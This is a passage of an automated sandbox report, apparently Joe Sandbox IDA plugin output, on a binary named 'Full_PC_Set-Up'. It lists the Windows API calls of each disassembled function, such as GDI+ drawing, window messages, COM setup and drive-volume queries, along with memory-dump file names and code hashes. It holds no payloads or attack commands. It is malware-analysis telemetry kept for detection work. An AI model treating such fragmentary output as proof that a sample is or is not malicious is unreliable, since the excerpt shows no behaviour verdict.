Part of subcall function 0036F134: ExtTextOutW.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 0036F16B

Part of subcall function 002E22D0: GetClientRect.USER32(002E239F,?), ref: 002E22DB

SelectObject.GDI32(?,?), ref: 002E24F6
GdipCreateFromHDC.GDIPLUS(?,?), ref: 002E2537
GdipCreatePen1.GDIPLUS(FFB7B7B7,?,00000000,?,?,?), ref: 002E2559
GdipCreatePath.GDIPLUS(00000000,?,FFB7B7B7,?,00000000,?,?,?), ref: 002E256C
GdipCreateLineBrushI.GDIPLUS(?,?,FFC8C8C8,FFDFDFE9,00000000,?,00000000,?,FFB7B7B7,?,00000000,?,?,?), ref: 002E25E4
GdipFillPath.GDIPLUS(?,?,?,?,?,FFC8C8C8,FFDFDFE9,00000000,?,00000000,?,FFB7B7B7,?,00000000,?,?), ref: 002E25F8
GdipDrawPath.GDIPLUS(?,?,?,?,?,?,?,?,FFC8C8C8,FFDFDFE9,00000000,?,00000000,?,FFB7B7B7), ref: 002E260C
GdipGetImageHeight.GDIPLUS(?,?,?,?,?,?,?,?,?,?,FFC8C8C8,FFDFDFE9,00000000,?,00000000,?), ref: 002E262C
GdipGetImageWidth.GDIPLUS(?,?,?,?,?,?,?,?,?,?,?,?,FFC8C8C8,FFDFDFE9,00000000,?), ref: 002E265F
GdipDrawImageRectI.GDIPLUS(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 002E26AA
GdipSetLineColors.GDIPLUS(?,FFBEBEBE,FFD5D5D5,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 002E26BA
GdipCreatePen2.GDIPLUS(?,?,00000000,?,?,FFBEBEBE,FFD5D5D5,?,?,?,?,?,?,?,?,?), ref: 002E26D5
GdipDrawLineI.GDIPLUS(?,?,?,?,?,?,?,?,00000000,?,?,FFBEBEBE,FFD5D5D5,?,?,?), ref: 002E26FA
GdipDeletePen.GDIPLUS(?,?,?,?,?,?,?,?,?,00000000,?,?,FFBEBEBE,FFD5D5D5,?,?), ref: 002E2704
GdipDeleteBrush.GDIPLUS(?,?,?,?,?,?,?,?,?,?,00000000,?,?,FFBEBEBE,FFD5D5D5,?), ref: 002E270A
GdipDeletePath.GDIPLUS(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,FFBEBEBE,FFD5D5D5), ref: 002E2714
GdipDeletePen.GDIPLUS(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,FFBEBEBE), ref: 002E271E
GdipDeleteGraphics.GDIPLUS(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 002E2724

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Gdip$Create$Delete$Path$DrawImageLine$BrushCompatibleObjectRectSelectWindow$BeginBitmapClientClipColorColorsFillFromGraphicsH_prolog3HeightPaintPen1Pen2ScrollTextWidth
String ID:
API String ID: 2507078885-0
Opcode ID: 8123ac5f33471f25472c599afdd16836e73944e44b725be88554279f15827b46
Instruction ID: fdb04f4396f73b5414c0209b0977913c5e292fe1f26a0d1679667e8bc39017d0
Opcode Fuzzy Hash: 8123ac5f33471f25472c599afdd16836e73944e44b725be88554279f15827b46
Instruction Fuzzy Hash: 421218711083819FD315DF68C881FABB7E9BFC9310F148A1DF5998B295DB70A909CB62

Function 003C5400 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 172COMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(00000000), ref: 003C5439
_memset.LIBCMT ref: 003C545A
GetDIBits.GDI32 ref: 003C547D
_malloc.LIBCMT ref: 003C54AD

Part of subcall function 0038319F: ___sbh_find_block.LIBCMT ref: 003831C8
Part of subcall function 0038319F: ___sbh_free_block.LIBCMT ref: 003831D7
Part of subcall function 0038319F: HeapFree.KERNEL32(00000000,?,00564070,0000000C,0038B0F4,00000000,?,?,00388F33,00383A97,00000000,?,00361C9B,?,00000000), ref: 00383207
Part of subcall function 0038319F: GetLastError.KERNEL32(?,?,00388F33,00383A97,00000000,?,00361C9B,?,00000000,?,002EBF38,00000090,5EBD7D5F), ref: 00383218

_malloc.LIBCMT ref: 003C549D

Part of subcall function 003839D8: __FF_MSGBANNER.LIBCMT ref: 003839FB
Part of subcall function 003839D8: __NMSG_WRITE.LIBCMT ref: 00383A02
Part of subcall function 003839D8: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,?,00361C9B,?,00000000,?,002EBF38,00000090,5EBD7D5F), ref: 00383A4F

_memcpy_s.LIBCMT ref: 003C54E6
GetDIBits.GDI32(?,?,00000000,?,00000000,00000000,00000000), ref: 003C54FF
SelectObject.GDI32(?,00000000), ref: 003C555A
DrawStateW.USER32(?,00000000,00000000,?,00000000,00000000,00000000,?,?,00000004), ref: 003C557C
SelectObject.GDI32(?,00000000), ref: 003C5588
_malloc.LIBCMT ref: 003C5596
_memcpy_s.LIBCMT ref: 003C55B0
DeleteObject.GDI32(00000000), ref: 003C55B9

Strings

(, xrefs: 003C5475
, xrefs: 003C5487

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Object_malloc$BitsHeapSelect_memcpy_s$AllocCompatibleCreateDeleteDrawErrorFreeLastState___sbh_find_block___sbh_free_block_memset
String ID: $(
API String ID: 417164883-55695022
Opcode ID: 0a180851ae3445ae9606e8489a254478e391c12dbf2ec6a2c471a3b9d8771c13
Instruction ID: b7344f1323626215b20b50d3b7866f6f77d1af4b9fcab9baab938a30bada45db
Opcode Fuzzy Hash: 0a180851ae3445ae9606e8489a254478e391c12dbf2ec6a2c471a3b9d8771c13
Instruction Fuzzy Hash: C751F0B1605710ABD211EB20CC46F6BB7ACEF85B10F000919F9499B282E775FD54CBA2

Function 002F5180 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 305windowcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 002F51D0
CoCreateInstance.OLE32(005055B8,00000000,00000001,005055A8,?,0053A0E0), ref: 002F51FD
_memset.LIBCMT ref: 002F523A
MultiByteToWideChar.KERNEL32(00000000,00000001,?,000000FF,?,00000104,?,?,5EBD7D5F), ref: 002F5277
_wcsnlen.LIBCMT ref: 002F52F7
_wcsnlen.LIBCMT ref: 002F5372

Part of subcall function 00294420: _memcpy_s.LIBCMT ref: 00294468

Part of subcall function 002969A0: _memcpy_s.LIBCMT ref: 00296A34

CoUninitialize.OLE32 ref: 002F5425
LoadCursorW.USER32(00000000,00007F02), ref: 002F54A5
SetCursor.USER32(00000000,?,?,00000000), ref: 002F54AC
SendMessageW.USER32(?,0000113F,00000000,00000050), ref: 002F5500
SendMessageW.USER32(?,0000110A,00000004,?), ref: 002F5524
LoadCursorW.USER32(00000000,00007F00), ref: 002F553C
SetCursor.USER32(00000000), ref: 002F5543

Strings

P, xrefs: 002F54D0

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Cursor$LoadMessageSend_memcpy_s_wcsnlen$ByteCharCreateInitializeInstanceMultiUninitializeWide_memset
String ID: P
API String ID: 1966215064-3110715001
Opcode ID: d45e03c75aed6fae96f6c4f154ad0668094a4cc24045ec5425b4f7878d33e469
Instruction ID: ababd9781150d4039c6f9a0682601a13dd5c5d902a39ff3dae4efa1547c9a346
Opcode Fuzzy Hash: d45e03c75aed6fae96f6c4f154ad0668094a4cc24045ec5425b4f7878d33e469
Instruction Fuzzy Hash: 4BB19B71214701AFD314DF68D889F6AB7E9FF88714F10862CF6498B2A1DB74E911CB92

Function 002D6B60 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 230windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D6B85

Part of subcall function 0036E0D6: SendMessageW.USER32(?,0000100E,75C05540,?), ref: 0036E0EF

PtInRect.USER32(?,?,?), ref: 002D6BB0
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D6BC8
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D6C1C
PtInRect.USER32(?,?,?), ref: 002D6C47
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D6C66

Part of subcall function 002D72B0: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D72CB
Part of subcall function 002D72B0: SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D72E9
Part of subcall function 002D72B0: InvalidateRect.USER32(?,?,00000001,?,00000000,00000000,?), ref: 002D731E
Part of subcall function 002D72B0: UpdateWindow.USER32(?), ref: 002D7328

GetParent.USER32(?), ref: 002D6CB8
GetParent.USER32(?), ref: 002D6CD5
IsWindow.USER32(?), ref: 002D6CEB
SendMessageW.USER32(?,?,?,00000000), ref: 002D6D0B
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D6D2D
SendMessageW.USER32 ref: 002D6D4A
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D6D6A

Strings

, xrefs: 002D6D42

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$Rect$ParentWindow$InvalidateUpdate
String ID:
API String ID: 2986752325-3916222277
Opcode ID: 4d1c631ad56d2e8d91615d417e0179cf5c4b44a445a6065870da458386421b2c
Instruction ID: 8cbe5bfc558a317a663af6c3dbc719f984e5dbc1cfbcf1922ebee0904e3e04b2
Opcode Fuzzy Hash: 4d1c631ad56d2e8d91615d417e0179cf5c4b44a445a6065870da458386421b2c
Instruction Fuzzy Hash: 996104727103026BD715AF649C85F6FB3A9FB88750F14462FFA459B380DA70EC218BA5

Function 003641DA Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 175windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00367C65: GetWindowLongW.USER32(?,000000F0), ref: 00367C70

GetParent.USER32(?), ref: 00364209
SendMessageW.USER32(00000000,0000036B,00000000,00000000), ref: 0036422C
GetWindowRect.USER32(?,?), ref: 00364246
GetWindowLongW.USER32(00000000,000000F0), ref: 0036425C
CopyRect.USER32(?,?), ref: 003642A9
CopyRect.USER32(?,?), ref: 003642B3
GetWindowRect.USER32(00000000,?), ref: 003642BC

Part of subcall function 00361F19: MultiByteToWideChar.KERNEL32(00000000,00000000,00000028,000000FF,00000028,00000020), ref: 00361F59

CopyRect.USER32(?,?), ref: 003642D8

Strings

(, xrefs: 00364272

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$Window$Copy$Long$ByteCharMessageMultiParentSendWide
String ID: (
API String ID: 1385303425-3887548279
Opcode ID: 11de12242ef43348d74b93c55cd51a66dbef6d8d20e756c29968765363da3722
Instruction ID: 1cdd12f5cd1e54c80c24cb3569e947bb8b2cd823ecb6159546d947e28c804e51
Opcode Fuzzy Hash: 11de12242ef43348d74b93c55cd51a66dbef6d8d20e756c29968765363da3722
Instruction Fuzzy Hash: A6515072D00219AFCB02DBA8DD85AEEBBB9BF48310F194125F915F7254DB30E9518B64

Function 0029C970 Relevance: 21.5, APIs: 14, Instructions: 474COMMON

Download Yara Rule

APIs

Part of subcall function 0036BFC6: __EH_prolog3.LIBCMT ref: 0036BFCD
Part of subcall function 0036BFC6: BeginPaint.USER32(?,?,00000004,002979AC,?,5EBD7D5F), ref: 0036BFF9

Part of subcall function 00363669: GetScrollPos.USER32(?,?), ref: 0036368A

Part of subcall function 0036BA22: OffsetWindowOrgEx.GDI32(?,?,5EBD7D5F,?,?,?,?,0029C9F0,?,00000000,00000000,00000000,00000001,?,5EBD7D5F), ref: 0036BA43
Part of subcall function 0036BA22: OffsetWindowOrgEx.GDI32(?,?,5EBD7D5F,?,?,?,?,0029C9F0,?,00000000,00000000,00000000,00000001,?,5EBD7D5F), ref: 0036BA56

Part of subcall function 0036B6DD: GetClipBox.GDI32(?,?), ref: 0036B6E8

Part of subcall function 003A4340: CreateCompatibleDC.GDI32 ref: 003A43A1
Part of subcall function 003A4340: CreateCompatibleBitmap.GDI32(?,?,?), ref: 003A43C1
Part of subcall function 003A4340: SelectObject.GDI32(?,00000000), ref: 003A43CF

GdipCreateFromHDC.GDIPLUS(?,?,?,5EBD7D5F), ref: 0029CA46
GdipGraphicsClear.GDIPLUS ref: 0029CA62
GdipSetClipRectI.GDIPLUS(?,?,?,?,?,00000000), ref: 0029CA8D
GetClientRect.USER32(?,?), ref: 0029CAB8
GdipCreateStringFormat.GDIPLUS(00000000,00000000,?), ref: 0029CAF1
GdipSetStringFormatAlign.GDIPLUS(?,00000001,00000000,00000000,?), ref: 0029CB01
GdipSetStringFormatLineAlign.GDIPLUS(?,00000001,?,00000001,00000000,00000000,?), ref: 0029CB15
GdipCreateSolidFill.GDIPLUS(FF000000,?,?,00000001,?,00000001,00000000,00000000,?), ref: 0029CB38
GdipDrawString.GDIPLUS(?,00000010,000000FF,00000000,?,?,?), ref: 0029CC47
GdipDeleteBrush.GDIPLUS(?,?,00000010,000000FF,00000000,?,?,?), ref: 0029CC71
GdipDeleteStringFormat.GDIPLUS(?,?,?,00000010,000000FF,00000000,?,?,?), ref: 0029CC7B
IntersectRect.USER32(?,?,?), ref: 0029CD43
IntersectRect.USER32(?,?,?), ref: 0029CE5C

Part of subcall function 0029F8F0: GdipGetClipBoundsI.GDIPLUS(?,?,?,5EBD7D5F,?,?,?), ref: 0029F941

GdipDeleteGraphics.GDIPLUS(?), ref: 0029CF95

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Gdip$CreateString$FormatRect$ClipDelete$AlignCompatibleGraphicsIntersectOffsetWindow$BeginBitmapBoundsBrushClearClientDrawFillFromH_prolog3LineObjectPaintScrollSelectSolid
String ID:
API String ID: 3241106298-0
Opcode ID: 5dd1f8213f9389837fc2e9a0e2b2869f18c55f166ab2e4b5c2808ee97ae8a302
Instruction ID: bda27d12ac8051172a4159408b5f34f6ae7232cf6b5ed413f87b7217102a4e37
Opcode Fuzzy Hash: 5dd1f8213f9389837fc2e9a0e2b2869f18c55f166ab2e4b5c2808ee97ae8a302
Instruction Fuzzy Hash: C11226712187418FC724DF68C980A9BBBE5FFC9314F144A2EF59A872A1DB70E914CB52

Function 002CCFA0 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 283COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002CD051
_memset.LIBCMT ref: 002CD06E
_memset.LIBCMT ref: 002CD097
_wcsncpy.LIBCMT ref: 002CD17E
GetVolumeInformationW.KERNEL32(?,?,00000104,?,?,?,?,00000104), ref: 002CD1D3
GetLastError.KERNEL32(?,?,?,?,?,?,?,5EBD7D5F,?,?,?), ref: 002CD1E1
GetDriveTypeW.KERNEL32(?,?,00000003,?), ref: 002CD214

Strings

@e_d_r_1_2_3_4.try, xrefs: 002CD2D4
\, xrefs: 002CD12F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset$DriveErrorInformationLastTypeVolume_wcsncpy
String ID: @e_d_r_1_2_3_4.try$\
API String ID: 3264566574-3342452943
Opcode ID: 1eee702a6650cbd26acc23a398d3b3088d5faa1d612ab96fde7ae39cce543bc1
Instruction ID: c5b7a91fecaa5bd16256e0d439084675d7e5ea59a2dc3fd069084e5555e773e1
Opcode Fuzzy Hash: 1eee702a6650cbd26acc23a398d3b3088d5faa1d612ab96fde7ae39cce543bc1
Instruction Fuzzy Hash: 96A1DE312283028BD724DF28C881F6BB3A9FF88314F548A3DE55AC72A1E674D955CB47

Function 004B8760 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 197COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004B87FF
_memset.LIBCMT ref: 004B889F
_strlen.LIBCMT ref: 004B88E0
swprintf.LIBCMT ref: 004B8911
swprintf.LIBCMT ref: 004B8966
swprintf.LIBCMT ref: 004B893E

Part of subcall function 003829DD: __vsprintf_s_l.LIBCMT ref: 003829F1

swprintf.LIBCMT ref: 004B898C
_strlen.LIBCMT ref: 004B89A7

Strings

*, xrefs: 004B8A49
%s %s, xrefs: 004B897E
%s %s %s, xrefs: 004B8930
%s %s, xrefs: 004B8903

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: swprintf$_memset_strlen$__vsprintf_s_l
String ID: %s %s$%s %s$%s %s %s$*
API String ID: 4126653545-2607698009
Opcode ID: ad45357289a1657942c78ff465be99f650d31f13bb054dc2c0384c6eecb70940
Instruction ID: d16302536f6a615fd8675abbba98d908c821d22cd8edc41d625fe2023456e753
Opcode Fuzzy Hash: ad45357289a1657942c78ff465be99f650d31f13bb054dc2c0384c6eecb70940
Instruction Fuzzy Hash: 37916071D002199FDB25DB94CC41BEEB7B8AF48304F4445EAE509A7242DB74AF84CF65

Function 002D4D40 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 190windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00367C65: GetWindowLongW.USER32(?,000000F0), ref: 00367C70

SetWindowLongW.USER32(?,000000F0,00000000), ref: 002D4D98
RedrawWindow.USER32(?,00000000,00000000,00000105,0053A0E0), ref: 002D4E1C
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 002D4E39
GetStockObject.GDI32(00000011), ref: 002D4E53
GetStockObject.GDI32(0000000C), ref: 002D4E5B
GetObjectW.GDI32(?,0000005C,?), ref: 002D4E74
CreateFontIndirectW.GDI32(?), ref: 002D4E8B
CreateFontIndirectW.GDI32(?), ref: 002D4E9F
IsWindow.USER32(?), ref: 002D4EC4

Part of subcall function 002981C0: SendMessageW.USER32(?,00000030,?,?), ref: 002981D4

InvalidateRect.USER32(?,00000000,00000001,?,00000001,?,00000000), ref: 002D4EE0
GetClientRect.USER32(?,?), ref: 002D4EFB

Strings

P^)u, xrefs: 002D4E4B

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
